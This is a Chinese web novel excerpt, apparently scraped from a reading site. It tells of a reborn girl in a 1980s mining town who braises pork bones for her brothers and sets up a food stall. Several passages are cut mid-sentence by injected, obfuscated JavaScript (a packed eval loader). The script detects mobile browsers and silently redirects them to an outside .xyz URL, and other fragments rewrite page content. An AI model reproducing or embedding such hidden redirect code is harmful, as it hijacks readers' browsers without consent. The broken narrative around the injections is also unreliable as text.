贺明珠挺感兴趣的,问了小师傅不少开店的事儿。 出师的时候,由于贺明珠在吃的事情一点就通,而且举一反三,做出的菜毫不亚于小师傅,甚至更胜一筹。 小师傅心情复杂,他看着贺明珠,犹豫再三,面露难色,欲言又止。 贺明珠好奇极了,再三催问。 小师傅艰难开口:“你要是开店的话,能不能离我店远点儿?” 想到这儿,她有些怅然。 她已经挑好店面,付了定金,要不是重生,现在她的小店应该已经开起来了。 对着桌上简陋的一碗土豆白菜,贺明珠放下筷子,说:“将就吃,明天我去买菜……” 话音未落,她看到贺小弟已经把整张脸都埋进碗里了。 贺明珠:…… 贺小弟呼噜呼噜埋头扒菜,吃相像饿了三天的小猪。 贺明珠转头看向另一边的大哥。 贺大哥的吃相也没好到哪儿去,风卷残云般将碗中的饭菜一键清理干净,比360杀毒删企鹅管家的速度都快。 当她再转头看回来时,就这一会儿工夫,贺小弟抓着馒头,把碗底的菜汤刮得一干二净,就差拿舌头舔碗底了。 贺明珠缓缓低头看向碗里。 她做的只是土豆白菜烩食堂红烧肉,不是什么山珍海味吧? 再一抬头,贺小弟已经抱着空碗,渴望地看向亲姐。 “姐,你还吃吗?” 他眼睛落在贺明珠碗里还没吃的大半碗菜里,拔都拔不出来。 贺大哥放下碗,教育贺小弟:“怎么能这么问你姐,她还没吃呢。” 然后转头他就问贺明珠:“你要是不吃了的话,我替你把剩菜都吃了吧。” 贺明珠:…… 贺明珠:“和病号抢饭,你们脸呢?” 贺小弟理直气壮:“我不要!” 贺大哥理不直气也不太壮:“要么,我也不要了吧……” 贺明珠点点他们:“……行,你们俩给我等着。” 话虽这么说,但她生病初愈,胃口一般,到底吃不完,给大哥和小弟各分一半。 在贺大哥埋头苦吃时,贺明珠趁机说:“以后咱家做饭的都归我了哦,你不许再进厨房。” 就算为了她的胃着想,也绝对绝对绝对不要再在厨房看到大哥! 贺大哥吃得头也不抬,口齿不清地说:“行行行!家里的事都听你的!” 贺明珠反应极快,立刻说:“那你听我的换个岗位。” 贺大哥吃完了饭,一把抄起桌上碗筷,一溜烟躲到厨房洗碗,扔下一句: “那可不行,要是听你的,得什么时候才能还完钱啊,人家借钱的也等着用钱呢。” 劝不通自家大哥,贺明珠只好开始琢磨,要怎么样才能又快又好地挣到钱呢? 第二天,贺大哥上早班,天不亮就走了。 临走前,他把灶台的灰清了,又添了一铲煤,贺明珠睡醒时,炕上还是热乎乎的。 炉子上坐着一壶热水,还有温好的玉米面粥和馒头。 贺明珠起床穿衣洗漱,洗脸盆里倒热水,毛巾放进去浸湿。 拧干后,她一手拿毛巾,另一只手将贺小弟从被窝里掏出来,将湿毛巾“啪”地盖他脸上。 “干嘛呀……” 被迫开机,贺小弟眼睛还没睁开,口齿不清地抱怨。 “快点起床,今天带你去买好吃的。” 听到有好吃的,贺小弟一骨碌就爬了起来。 贺明珠拿毛巾用力在他脸上搓了两把,再去水盆拧毛巾时,水都变混了。 “你小子可真脏啊。” 贺小弟反驳:“我不脏!” “是是是,你不脏,你只是爱在脸上画迷彩妆。” 贺小弟没听懂,但他本能觉得这不是什么好话,于是又说一遍:“我才不脏!” 贺明珠没搭理他,挖了一坨雪花霜,在手心搓匀后,抓着贺小弟,抹到他被寒风吹皲的红脸蛋上。 贺小弟左右晃动脑袋,试图躲开她的手。 “我不涂!香香的,女生才涂!” 贺明珠手上动作不停,敷衍道:“那从现在开始你是女生了。” 贺小弟张着嘴,愣了。 直到姐弟俩吃完早饭出门时,贺小弟还在纠结:“我不是女生,我是男生……” 贺明珠被他念得烦,就说:“好吧好吧,你不是女生。” 贺小弟才要高兴,就听到了下半句:“你也不是男生,你是小邋遢。” 贺小弟气哼哼地说:“你就知道欺负我!” 贺明珠捏捏他的小脸蛋:“小屁孩还知道什么叫欺负啊,那老师欺负你的时候,你怎么不知道要告诉我?” 贺小弟很委屈:“我说了!可你说老师骂我肯定是有原因的!” 贺明珠有点小小的尴尬。 因为要经常给哈士奇弟弟收拾烂摊子,在贺小弟告状时,她完全不觉得老师会有什么问题。 说实话,要不是看在亲弟弟的份上,她都想抽这小子一顿。 贺小弟委屈巴巴:“你都不信我说的……” 贺明珠沉吟:“弟,我也很想相信你,但自从你拿鞭炮炸了公厕,还说是咱爸放屁炸的后,我真的很难相信你。” 贺小弟无辜地看向她:“爸放屁像炮轰,是妈说的。” 贺明珠叹口气:“虽然但是吧,你对咱爸妈的印象能有点正面的吗?” 贺明珠一只手牵着贺小弟,另一只手拿着提篮,朝记忆里国营菜市场的方向走去。 路上遇到矿上熟人,人家打招呼道:“明珠,带弟弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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售货员柔声对她说:“我没说你呢,不着急,慢慢来啊。” 贺明珠呵呵,火速付钱闪人。 再不走,她怕后面群众要误会她和售货员有一腿了。 人民群众的眼睛一般是雪亮的,但个别情况下,眼神也可能不太行。 贺小弟拉了拉她的手。 “姐,我们还买菜吗?” “不买了,走,我们去买肉。” 习惯了后世普遍友善的服务态度,骤然回到这种还需要专门规定售货员“禁止打骂顾客”的年代,贺明珠在不习惯的同时,还生出一种诡异的熟悉感。 这和奢侈品店员有什么差别啊摔! “有包吗?” “没有。” “展台上不是放了好几个包吗?” “不好意思,你不是目标客户不可以买哦。” ——原来国内PUA客户的销售文化已经在八十年代就生根发芽了啊。 ——说起来还是奢侈品店员好一点,至少他们只是精神上打压客户,没有物理上打骂客户(不是……) 贺明珠摸摸贺小弟的小脑袋,难得对弟弟涌起一股怜爱之情。 他至少要二十年后才能感受到“顾客是上帝”是什么样的体验。 顺便也给自己点个蜡。 唉,她也要忍耐二十年的混乱邪恶售货员,才能再次见到善良中立售货员。 ……允悲。 8. 第 8 章 贺明珠带着贺小弟到了菜场旁的副食品商店。 奇怪的是,和菜场相比,这里没什么人,甚至可以称得上一句冷清。 贺明珠掀开厚重的棉帘,进门一眼就看到正中间的案板上空空荡荡,别说肉了,连肉渣都没有。 正纳闷呢,售货员从后面房间走出来,见到是她,主动招呼道:“明珠,带弟弟来买肉啊?怎么这么晚才过来?” 售货员原本白色的工作服上油渍斑斑,露出来的两只手冻得跟萝卜似的。 他人倒是很热情,对贺明珠说:“要买肉怎么不和我说一声啊,我提前替你留块好肉。” 贺明珠从他眉毛上的那颗大黑痣才勉强认出来,这不是后巷赵大爷的儿子吗? 和二十年后那个卡门的大胖子相比,他这会儿瘦得简直可以称一句弱柳扶风了。 见是熟人,贺明珠放松多了,问道:“赵大哥,今天的肉是卖完了吗?” 赵大哥说:“早就卖完了,人家五点就来排队了,天不亮就卖光了。你要想买得过两天再来,肉联厂一周就送两次货,这次没买上就得等下次了。” 听到肉卖完了,贺小弟的眼睛“唰”一下就没光了。 他小大人似的叹口气:“没有肉肉了……” 赵大哥见他虎头虎脑的,心里喜欢,就故意逗他:“小毛孩子牙都没长齐,还知道要吃肉呢?” 肉都没了,贺小弟没心情和赵大哥争论他的牙都长齐了,才不是没长牙。 他没精打采地晃晃姐姐的手:“没有肉了,我们回家吧。” 贺明珠眼尖地注意到后厨地上放着一个大箩筐,里面似乎是骨头棒子。 她指着箩筐,问赵大哥:“那骨头还卖吗?要票吗?” 赵大哥回头看一眼,挠挠头说:“骨头不要票,但也不对外卖,只有我们店的职工能买。” 这年头猪肉供应有限,统购统销,要是没有肉票,拿着钞票也别想买到一两肉。 黑市倒能买到猪肉,但动辄十倍的价差,也不是一般人吃得起的。 副食品店把肉卖了,把剃掉肉的骨头棒子留下来,折价卖给职工,算是内部福利。 这年头大伙儿肚里都缺油水,沾点油星的东西都算稀罕物,能榨油的黄豆都得凭粮票限量购买,更别提明晃晃的大骨头了。 要不是内部供应,这点骨头棒子早就被不差钱的人抢购一空了。 贺明珠想了想,从提篮里取出半包烟,握在手心,悄悄给赵大哥塞过去。 说起来,贺家没人抽烟,这还是之前家里办白事时剩下的。她买菜前特意从柜子里翻出来,就是预备遇到现在这种情况。 贺明珠低声说:“赵大哥,你帮帮忙,我弟弟好久没吃肉了。” 赵大哥一边说“哎呀你这这这太客气了”,一边手上没耽误,从烟盒里抽出一根,闻了一下,夹到耳朵后。 这可是正经的友谊烟,一包要五毛呢,赵大哥常抽的劳动烟一包才二毛二。 他左右看看,趁周围没人,快速从箩筐里抓起几根大棒骨,塞到贺明珠的篮子里,又欲盖弥彰往上面搭了块擦手用的白毛巾。 “快走,回去再给我拿钱,别忘了把毛巾拿我家去啊。” 贺明珠从善如流,拎着篮子赶紧就走了。 贺小弟做贼似的,一路紧紧跟着姐姐,不敢多说一句,进了家门才敢跳起来,小小声欢呼:“耶!今天有肉肉吃啦!” 贺明珠拍拍他的小脑袋,安排个小活儿:“去剥葱。” 她把棒骨放到盆里洗干净,又换了盆水,把骨头里残留的血水都泡掉。 厨房角落堆了一摞土豆和大白菜,是入冬前储存的。这会儿物流不发达,冬天的新鲜蔬菜要么死贵,要么压根没货,捧着钱也买不着。 贺家大人没得太突然,剩下几个孩子过得兵荒马乱。 要不是刘婶提醒,差点连冬储菜都忘了买。 贺大哥赶着冬储的尾声,匆匆买了几麻袋土豆和白菜,但往年贺母拿玻璃输液瓶做的番茄酱罐头、辣椒酱,还有腌茄子、腌黄瓜等腌菜,今年就都没有了。 贺明珠在墙角土豆堆里翻出几个长得没那么磕碜的,洗净削皮,切滚刀块。 另外把胡萝卜也洗干净,没削皮,同样手法切块备用。 贺小弟把剥得坑坑洼洼的大葱递过来,贺明珠“啧”了一声,对上这小子期待的小狗眼,她顿了顿,说:“干得不错。” 被表扬了,贺小弟高兴地跳起来。 “姐,我再给你剥个大葱!” 贺明珠急忙阻拦:“别介,咱家的葱不多,还不够你糟蹋的——剥蒜去吧。” 贺小弟就屁颠屁颠去剥蒜了。 棒骨冷水下锅,加入葱姜,家里没料酒,贺明珠拿剩下的半瓶白酒替代。 她学着昨天大哥的模样烧火,大锅很快咕嘟起来,棒骨深处残留的血沫冒了出来。 她正拿着勺子撇沫呢,贺小弟啪嗒啪嗒蹭过来,陶醉地深深吸一口气。 “好香啊……姐,我能喝一口吗?” 贺明珠:…… 这弟弟馋肉馋傻了吧,焯水的汤都惦记,里面还放了白酒和葱姜呢。 贺明珠撵他:“出去和小朋友玩去,回来的时候肉就好了。” 贺小弟扒着灶台不舍得走:“我不走,我就看看。” 贺明珠拿眼睛一瞪,贺小弟依依不舍的,重重叹口气,一步三回头,磨磨蹭蹭地走了。 没了贺小弟在脚边小狗似的打转,贺明珠的动作麻利多了。 起锅烧油,放葱姜蒜,炒香后加花椒大料和一勺豆瓣酱,还有一小把干辣椒。 干辣椒是她在厨房角落发现的,看起来像是买回来后被遗忘了,在北方的干燥天气中自动脱水成了干辣椒,算是意外之喜。 底料炒的差不多后,放入棒骨。 贺明珠特意等了等,让油均匀地煎遍棒骨,然后才加入滚水,盖上锅盖小火焖煮。 这个做法是她自己琢磨出的,炖出来的棒骨滋味浓郁,肉质鲜香嫩滑,骨髓像果冻一样,一吸溜就掉进肚子里。 她当时放着整块的肉不做,非得和棒骨过不去,是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457098|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她喜欢吃贴骨的那层肉,薄薄的,筋道弹性,吃起来滑腻可口,口感丰富,也不会太油腻。 但现在缺吃少喝的,大块的肉都被人们抢着买走,肉少骨多的棒骨没那么受市场欢迎,让她捡了个漏。 大锅里的汤汁咕嘟咕嘟地冒着泡,棒骨内含的丰富油脂被缓缓逼出来。 真·榨干骨头。 香气渐渐从锅盖缝隙溢出来,冲出厨房,在小院里弥散开,香得院外过路人猛抽鼻子。 “谁家炖肉呢,怎么这么香啊!” 贺明珠看火候差不多了,掀开锅盖,把切好的土豆胡萝卜一股脑扔进去,严严实实盖住了棒骨。 正要加盐时,忽然有人推开院门就走了进来。 “做什么好吃的呢?” 院门没挂锁,虚掩着,推门就能进来,这片家属区都这样,家里有人在就不锁门。 来人进门后站在院子里,挺客气的,也不往里走。 贺明珠闻声从厨房出来,来人冲她抬抬下巴。 “哟,你们家这都炖上肉了,日子过得真舒心,我们家都不舍得吃肉啊。” 贺明珠不认识对方,但听这意思,应该是债主之一。 她就说:“没炖肉,肉价太贵了,舍不得吃,找熟人买了点骨头,炖土豆胡萝卜,沾点肉味儿。” 来人看起来不太信。 毕竟满院子的油脂浓香,必须得是炖肉,还得是三指厚的大肥膘,才能炖出这样浓烈的肉香。 贺明珠索性让对方进厨房亲眼看看。 “来都来了,要不您也吃点儿?” 对方半信半疑地跟她走进厨房,贺明珠隔着毛巾掀开锅盖,大量白色蒸汽冒出。 等蒸腾的水汽散开,看清锅里的东西后,对方尴尬道: “还真是土豆胡萝卜啊,我还当你们家吃什么好东西呢。” 贺明珠笑眯眯地说:“家里攒钱还债呢,哪里舍得吃肉,炖点骨头就算开荤了。” 对方讪讪道:“那你手艺还挺好的啊,不比外面开饭店的差了。” 开饭店? 说着无心,听者有意。 贺明珠这两天正犯愁,要怎么在八十年代挣钱。 这年头和后世不一样,还处在一个相对封闭的社会中,人口自由流动受限,去外地要有单位介绍信,不管是坐火车还是住旅店,没介绍信都恕不接待;还得把本地粮票换成全国粮票,不然的话连饭都吃不上。 即使搞定了介绍信和粮票,去外地进货来卖,但浙江“八大王”的案子刚过去没多久,正常商业行为容易被打成投机倒把。 最重要的是,贺明珠现在手头一点本钱都没有。 家里的钱和大哥工资都拿去还债了,现在日常生活开销来自于贺明珠和贺小弟每月收到的补助金——矿上每月给工亡矿工的未成年子女发十块钱的生活补助,直到成年为止。 要怎么攒到第一桶金呢? 于是,当贺大哥上完早班回家,一进门,就听到小妹问他: “哥,你说我出去摆摊卖吃的怎么样?” 9. 第 9 章 贺大哥是下午三点多的时候回来的。 他所在的单位是新开的分矿,距离煤矿家属区很远,坐公交要一个多小时。 矿上是三班倒,为了保产量,机器不停,工人轮休,二十四小时都有人值班。 贺大哥下了早班,坐猴车从井底上来后,浑身上下除了眼珠子和牙是白的,其他地方都被煤渣染成了黑不溜秋。 他匆匆在职工澡堂冲了一澡,不等头发干了,马不停蹄去赶回家的公交车。 当他回家时,未干的头发上凝结了一层坚硬的白色冰霜。 当听到贺明珠说要去摆摊卖饭时,他的第一反应是:“是不是又有人来找你要债了?” 贺明珠想了想,说:“也不全是吧。” 贺大哥皱眉的样子看起来很严肃:“以后再有人来找你,你让他们来找我,找你一个小孩子干什么?这不是吓唬孩子吗?” 虽然她的心理年龄比现在年轻的大哥要大多了,但贺明珠听到大哥护犊子的话时,心里热乎乎的。 她说:“哥,家里欠了五千块,可你一个月的工资才几个钱?一个月还一百块,要等到什么时候才能把所有的债都还清呢?趁现在放寒假了不用去学校,我去摆个摊,要是能挣上钱,就能把家里的窟窿补一补,也省得你总是这么累。” 贺大哥脑袋还转不过这个弯,坚持道:“你现在还是学生,学生的任务就是好好上学,挣钱的事有我和你二哥,怎么也轮不到你。” 见实在说服不了她,贺明珠索性不再白费口舌,转身去了厨房,不多时,她端着一个巨大的搪瓷缸出来。 搪瓷缸有些年头了,上面“劳动最光荣”的字样已经模糊了。 贺大哥还想劝些什么,却被搪瓷缸里散出的浓香吸引了注意。 贺明珠把搪瓷缸放方桌上,示意大哥坐下,一掀盖子。 “先吃,吃完我和你说。” 贺大哥的注意力已经完全被搪瓷缸吸引了。 下午时分,天色未暗,冬日阳光从窗外映入,照亮搪瓷缸盛的菜。 淡黄的土豆,橘红的胡萝卜,经过长时间的炖煮,软烂得入口即化,筷子轻轻一夹,几乎要碎掉,只一眼,就能想象到入口后的粉糯口感。 更诱人的是那几根棒骨。 先煎后炖,特制酱料的香味已经彻底融入肉中。纹理分明的肉贴在骨棒上,原本紧密的贴合,现在已经变得摇摇欲坠。 牙齿只要轻轻那么一咬,便能轻松将整块肉顺着骨头都撕下来。 棒骨的断面上可见凸出来的果冻似的骨髓,颤颤巍巍的,似乎在等待食客的采撷。 寒冷的冬天,面前摆上这样一锅热气腾腾的炖棒骨。 贺大哥眼睛落在搪瓷缸里拔都拔不出来。 好香啊…… 好想吃啊…… 除了偶尔在食堂打份红烧肉带回家一起吃,他快有一年没好好吃过一顿肉了吧…… 贺大哥艰难地咽下口水,把视线从搪瓷缸上转开,问贺明珠:“你们吃了没?” 贺明珠从搪瓷缸里捞了根棒骨,塞到大哥手里,说:“我们中午就吃了,这是给你留的。” 贺小弟也说:“好吃!我吃多了,姐还给我吃乳酶生!” 都撑到要吃乳酶生来助消化的地步了? 看来这是真吃好了。 确定弟弟妹妹都吃过后,贺大哥这才放心开吃。 他抓着棒骨,迫不及待先就着肉厚的地方咬了一口。 唔! 肉质细嫩,滋味浓郁,还有一丝辣味,一向寡淡惯了的舌头,忽然经受这样强烈的味觉冲击,此时简直像在舌尖放烟花。 好吃! 他之前也不是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457099|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃过,但小妹不知是怎么做的,竟然比他之前吃过的任何炖骨头都好吃。 他形容不来这到底有多好吃,只能说,小妹做的这道炖棒骨,能让他吃得忘了周围的一切,全心全意沉浸进去。 贺大哥狼吞虎咽地啃棒骨。 因为是留给副食品店职工内购的,所以棒骨上的肉留了不少,此时吃起来也格外带劲。 大块的肉下面连着薄薄的筋膜,一口咬下去是完全不同的两种口感,每一口都是双倍的满足。 吃干净骨头上的肉,转过来吸骨髓。 嘴凑上去,轻轻一吸溜,一整条富含油脂的骨髓便落进口中。 贺大哥幸福得简直要叹息。 一整根棒骨吃得干干净净,锃光瓦亮,狗见了都发愁。 略解了解馋肉的瘾,他夹了块土豆。 没想到,才一入口,他又是一惊。 土豆块吸饱了肉汤,结构松软,一咬就碎,软绵绵地裹着舌尖,软糯而绵密。 一整块土豆,几乎没用怎么嚼,就顺着喉咙落进胃袋,带来充实而温暖的饱足感。 胡萝卜同样炖得软烂,浸透了油脂,细细品尝,还能尝到特有的鲜甜的味道。 贺大哥吃得头也不抬,暴风吸入,一双筷子使得飞起。 没一会儿,满满一搪瓷缸的土豆胡萝卜炖棒骨,就被他吃得一干二净。 直到缸子空了,贺大哥楞了一下,似乎这会儿才缓过神来。 他放下筷子,忽然,不受控制地打了个巨大的饱嗝儿。 这个嗝打得结实,声响在屋子里回荡,震得大梁上的灰都要落下。 贺小弟爬下炕,小短腿噔噔噔跑到方桌前。 他看看大哥,又看看空荡荡的搪瓷缸。 “姐!” 贺小弟宣布道:“大哥也要吃乳酶生了!” 10. 第 10 章 吃饱了就好说话。 趁贺大哥这会儿脑子里的血液都去支援肠胃了,贺明珠问他:“哥,你说这一碗炖棒骨,摆摊卖的出去吗?” 贺大哥没说话。 贺明珠也不是非要一个答案,她已经从大哥的沉默中知道他的想法了。 她说:“现在和前几年不一样了,国家鼓励发展个体户,街上摆摊的人也越来越多。再说了,我不觉得摆摊丢人,劳动光荣职业平等,摆摊也没什么不好。说不定再过几年,铁饭碗生锈了,大家都想跳出单位下海做生意,到时候,我还是抢占先机的领头羊呢。” 贺大哥终于开口:“瞎说什么,铁饭碗怎么会生锈?” 贺明珠知道这会儿的人不会想到,再过几年后国企会出现大规模的下岗潮和破产潮,曾经光荣的工人身份,最终变成一句从头再来。 她说:“哥,我知道你想让我读高中考大学,将来毕业分配到机关;要是考不上的话就接妈的班,去学校当老师——这条路是稳妥,但远水解不了近渴啊,咱们家现在太困难了,偶尔开次荤还要被债主质疑凭什么吃肉,而这样的日子还要过五年。” 贺大哥眉头皱得死紧,艰难地说:“是我没本事……” 贺明珠坐到他身边,止住他未说完的话。 “哥,债不是你一个人的事儿,是我们一起欠的,也要我们一起还。” 贺大哥心情复杂地看着贺明珠。 “你长大了。” 贺明珠大惊失色:“哥,我就是出去摆个摊,你不要搞得好像怎么着了似的,很尴尬啊!我鸡皮疙瘩都起来了!” 难得抒情一把,贺大哥恼羞成怒:“就多余和你说!” 他腾地一下站起来,一把抄起搪瓷缸,扭头就走。 贺明珠在后面喊他:“干嘛去?” 贺大哥头也不回,义正辞严扔下一句:“洗碗!” 下午的时候,贺明珠跑了一趟赵大哥家。 她敲门进去,赵大哥刚下班,正在家“铛铛铛”打炉筒子清灰呢。 见到贺明珠,他站起身,炉筒子放一边,满是炭灰的手在身前大围裙上蹭了蹭,把她让进屋子。 屋里烧着炕,赵大哥的妈盘腿坐在炕上打瞌睡,他媳妇用缝纫机补衣服。 贺明珠挨个打招呼:“赵婶,嫂子。” 赵大嫂放下衣服,起身把贺明珠让到炕上,又给她端了杯热水。 贺明珠笑着说:“嫂子,别忙了,我送完东西就回去。” 她先是从挎包里取出洗干净的白毛巾,然后从兜里掏出钱,把钱递给赵大哥,说:“我也不知道棒骨要多少钱,你看这些钱够吗?” 赵大哥一边说“你这也太客气了”,一边接过来数钱,数完了说“够了,足够了。” 赵大嫂看明白了,拍了他一下,说:“明珠难得找你买一次棒骨,你还收她的钱啊?” 说着,她从赵大哥的手里抽出几张钞票,递回给贺明珠。 贺明珠没收,而是问道:“赵大哥,我以后还想找你买棒骨,你看行吗?” 赵大哥大包大揽:“行啊,当然行,只要你开口,我不卖别人都得卖给你。” 贺明珠又问:“如果我每次都要买呢?” 赵大哥和赵大嫂对视了一眼。 赵大嫂率先开口问道:“明珠啊,这棒骨是你自己吃,还是——” 贺明珠带着点不好意思说:“赵大哥,嫂子,你们也知道我家的情况,快过年了,债主也要上门了。我想出去摆个摊卖饭,挣点钱,好把债都清了。” 听明白贺明珠买棒骨是为了摆摊,赵大哥牙疼似的嘶了一声。 “明珠,不是你哥不帮你,主要是吧,你要一次两次的买也就算了,你次次都要买……” 副食品店里的棒骨也就那么多,各人买多少都是有数的,你买多了,别人就买少了。 当然,这不是说店里职工都指着这点骨头了——毕竟他们要想不花钱吃肉多的是办法。 店里每月都有损耗,损耗多点少点不都是他们自己说了算。还有卖肉时,杆秤稍微偏一偏,积少成多,一天就能攒出二斤肉。 职工不缺油水,就看不上这点折价买的骨头,但可以拿来做人情,替别人买。 负责人对此心知肚明,睁一只眼闭一只眼。 赵大哥嫌麻烦,说:“你要是自己吃,我替你买多少次都没问题。可你这是要拿出去卖,我不好和店里交代啊。” 对于赵大哥的拒绝,贺明珠并不感到意外,她在来之前就已经预料到了。 “赵大哥,我知道这确实为难你了。这样吧,现在猪肉是一块五一斤,我按八毛一斤来买棒骨,你看这样行吗?” 八毛? 要知道店里卖给职工的价格才是三毛一斤,这一转手就能挣五毛。 而且骨头沉,压秤,一根就将近一斤了。要是贺明珠每次买个四五根骨头,他们反手就能赚两三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一切都准备齐全,第三天,贺明珠一大清早起来,炖了一大锅的棒骨土豆。 她把食物倒入洗干净的铁皮桶,在桶内中空部分注入刚烧开的滚水,盖严实桶盖,并在桶身裹上一层旧棉袄来加强保温。 东西都准备齐全,贺明珠把铁皮桶严严实实捆在自行车后座,推着车,出门摆摊去也! 11. 第 11 章 张跃进刚下早班。 他饥肠辘辘,手脚冰凉,慢慢推着自行车,出了一矿的大门。 矿上的食堂过了饭点就没好菜,只剩下些白菜萝卜之类的丙菜,一盆稀汤寡水的菜叶子,看着就没胃口,还要白白搭上一张饭票,不值当。 还不如先忍一忍,回家再吃。 毕竟就算是最便宜的丙菜,也要花一毛钱呢。 一矿食堂的菜分为甲乙丙三等,甲等菜每份三毛钱,主要是红烧肉、干烧肉、炸鸡腿、红烧鱼块之类的纯荤硬菜,因为价格略贵且分量较少,买的人并不算多; 乙等菜每份两毛钱,一般是猪肉白菜炖粉条、土豆炖鸡块、青椒炒肉、胡萝卜丝炒肉这类荤素搭配的菜,有荤有素,最受欢迎; 丙等菜最便宜,每份只要一毛钱,没有肉,纯素菜,通常是土豆白菜豆腐萝卜以及时令蔬菜的随机排列组合,或炖或炒,滋味寡淡。 食堂窗口不接受现金,一律只收饭票。矿上一个月给工人发十块钱的饭票作为职工福利,要是不够用的话可以自己掏钱再买。 看着矿上食堂挺不错的,但实际执行起来就完全不是这回事儿。 一是矿工换班的时间和饭点正好错开,等他们下班去吃饭时,食堂只有被挑剩下的残羹冷炙,乙菜里的肥肉片子都被人捡走,就剩下一堆白菜土豆萝卜——除了比丙菜贵一毛钱,和丙菜没差别。 二是前段时间总务处换了管食堂的,连带着一批老厨师也让换了下去,饭菜质量断崖式下降的同时,份量也比之前少了许多。 特别是乙菜,原先一份菜里还有三两肉,现在连一两都不到,一大盆菜里只有寥寥数片肥肉,打菜的一勺子下去总能精准避开,纯粹是放那儿给人过眼瘾。 张跃进不舍得买甲菜,但买乙菜和丙菜又觉得太亏,索性每个月十块钱的饭票都拿来买馒头。 张跃进家里有俩儿子,每天吃饭都用抢的,就着咸菜能吃完一大盆小米多大米少的二米饭。 他和媳妇吃饭都不敢多伸筷子,把自己的定量省给儿子。 就这,俩小子天天饿得眼发绿,大半夜看见了都瘆得慌,睡迷糊时还以为家里进狼了。 他就每天下班去食堂拿饭票打上馒头,加上下井发的酸面包,通通带回家给儿子们加餐。 但下井毕竟是重体力劳动,连续八小时干下来,他的两条腿软得像面条,走路直打晃。 这一整天下来,除了早上在家喝了碗红薯粥,张跃进几乎什么都没吃。 他之前不是没试过带饭,但天气热容易馊,天气冷又会冻成冰坨,井下也不可能生火热饭。 还是忍一忍,下班回家多吃点吧。 但不知是天气太冷,还是吃得太少,他现在浑身发冷,几乎感受不到手指和脚趾的存在,就剩心口一点热乎气。 张跃进缩着身子,动作迟缓地推车出了一矿大门,正要抬腿跨上车时,余光看到路边有人摆摊。 摆的是什么摊没看出来,就看见瓦楞纸上写着几个大字——【土豆炖棒骨,一毛五一碗】 等等。 棒骨? 一毛五? 他要抬腿上车的动作一下就有点迟疑了。 张跃进放下腿,推着车掉头过去,问摊主:“你这一碗,是多大的一碗?” 摊主是个裹得严严实实的小姑娘,戴着帽子红围脖,只露出一双眼睛。 听到问话,她伸出戴着棉手套的手,从篮子里取出一只干净碗,向他展示。 这碗和他家里日常用的碗差不多嘛,才能装多少菜,值一毛五吗? 大概是看出张跃进的质疑,摊主说:“同志,如果你带了饭盒,还可以多打一些。” 张跃进觉得这有点不靠谱,一毛五都能买一斤土豆了。 但要加上棒骨的话,倒也不能说不值这个价…… 同样是荤素搭配的炖菜,还比食堂卖的乙菜便宜五分,买还是不买呢? 张跃进拿不定主意,就说:“那我先看看你的菜。” 摊主很爽快,解开裹在铁皮桶上的棉袄,桶盖掀开一条缝。 张跃进还没看清桶内的菜,就被一股浓郁的混合着肉香的蒸腾热气正面击中! 寒冷的冬日,疲倦的身体,长久的忍饥挨饿…… 那一瞬间,他已经分辨不出来那是食物的香气,还是本能对于高热量油脂的极度渴望。 他简直像个犯了毒|瘾的瘾君子,五脏六腑,抓心抓肺的痒。 真香啊! 大量口水疯狂分泌,溢满了口腔的每个角落,张跃进说话都说不利索了。 “给,给我来一碗!” 简单的一句话,说得他差点没兜住口水。 他手忙脚乱从挎包里取出饭盒,因为太忙乱,在掰开盖子时差点把里面装着的馒头给摔了。 摊主左手接过饭盒,右手拿勺子,从桶里结结实实舀了一大勺土豆,“啪”地一下就扣进饭盒里。 因为炖煮时间长,又在桶里焖了一段时间,土豆已经完全被肉汤浸透,轻微动作下便酥软成泥。 张跃进接过饭盒,顾不上烫,就那么站着,拿筷子使劲往嘴里扒拉。 香! 真香! 土豆软糯绵密,入口就化了,舌头轻轻一抿,连牙都用不上,软绵绵地就滑过嗓子眼,落进胃袋。 热乎乎的菜一进肚,立竿见影的,身上就暖和起来。 像是有一条热量传输线,从嘴到喉咙再到胃,体内渐渐蒸腾起来。从五脏六腑到四肢百骸,温暖蔓延全身。 手指和脚趾都麻酥酥的,重新有了知觉。 张跃进吃得脸上泛起红晕,整个人都舒展开,哪还像之前饥寒交加时缩头佝背,仿佛是夹着尾巴的老狗。 吃饱了饭,老狗当场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 